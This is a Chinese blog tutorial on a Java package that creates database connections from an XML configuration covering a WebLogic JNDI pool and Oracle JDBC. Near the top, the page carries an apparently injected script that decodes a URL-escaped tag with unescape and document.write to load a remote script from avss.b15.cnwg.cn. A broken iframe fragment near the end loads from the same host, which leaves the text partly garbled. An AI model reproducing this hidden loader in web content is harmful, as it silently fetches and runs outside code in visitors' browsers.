创建数据库连接对象(java.sql.Connection)的类包

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
创建数据库连接对象(java.sql.Connection)的类包




概述
写程序的时候,我们经常要获取数据库连接对象(java.sql.Connection),一般我们可以直接通过DriverManager获取数据库连接对象,也可以通过JNDI从部署在应用服务器中的数据库连接池中获取数据库连接对象。如何更加方便灵活的获取数据库连接对象正是本文的写作目的。
正文
创建数据库连接对象(java.sql.Connection)的类包(DbConnection.jar)以一个xml配置文件(db-connection-cfg.xml)为基础,该配置文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<db-connection>
    <db-connect-type>cp</db-connect-type>
    <app-server-name>weblogic</app-server-name>
    <connection-pool>
        <jndi-env>
           <weblogic>
                <property name="java.naming.provider.url" value="t3://your_application_server_ip:port/application_name"/>
                <property name="java.naming.factory.initial" value="weblogic.jndi.WLInitialContextFactory"/>
                <property name="java.naming.security.principal" value="username"/>
                <property name="java.naming.security.credentials" value="password"/>
                <used>yes</used>
           </weblogic>
        </jndi-env>
        <datasource-binding-name>jdbc/epdsmdbDS</datasource-binding-name>
    </connection-pool>
    <jdbc>
       <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
       <url>jdbc:oracle:thin:@your_database_server_ip:1521:service_id</url>
       <username>username</username>
       <password>password</password>
    </jdbc>
</db-connection>
下面我说明一下这个配置文件的配置方法
1.<db-connect-type>元素表示获取数据库连接对象方式:cp表示从连接池中获取Connection,jdbc表示直接创建Connection。
2.<app-server-name>元素表示部署了数据库连接池的应用服务器名称,类包通过该名称获取JNDI环境信息。当用户设置一种应用服务器名称(如oc4j),那么相应的JNDI环境信息通过在<jndi-env>元素中增加相应的<oc4j><property name="property_name" value="property_value"/><used>yes</used></oc4j>来配置。其中<used>元素的值表示查找数据源对象(javax.sql.DataSource)时是否使用JNDI环境信息,yes代表使用,no代表不使用。提供这个元素是因为部署在Application Server上的应用在从连接池中获取连接时不需要JNDI环境信息,而Standalone Application则需要。
3.<property>元素表示JNDI环境信息中的一个条目。
4.<datasource-binding-name>元素表示数据源在JNDI Tree中的名称。
5.<jdbc>以及其子元素描述了通过DriverManager创建Connection时的信息。
DbConnection.jar包使用方法
配置db-connection-cfg.xml,将其和DbConnection.jar包加入应用的classpath,在需要创建Connection的地方使用Connection conn = DbConnectionFactory.getConnection();即可。
总结
DbConnection.jar包可供Web Appication及Standalone Application使用。相信能给开发者带来方便。

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值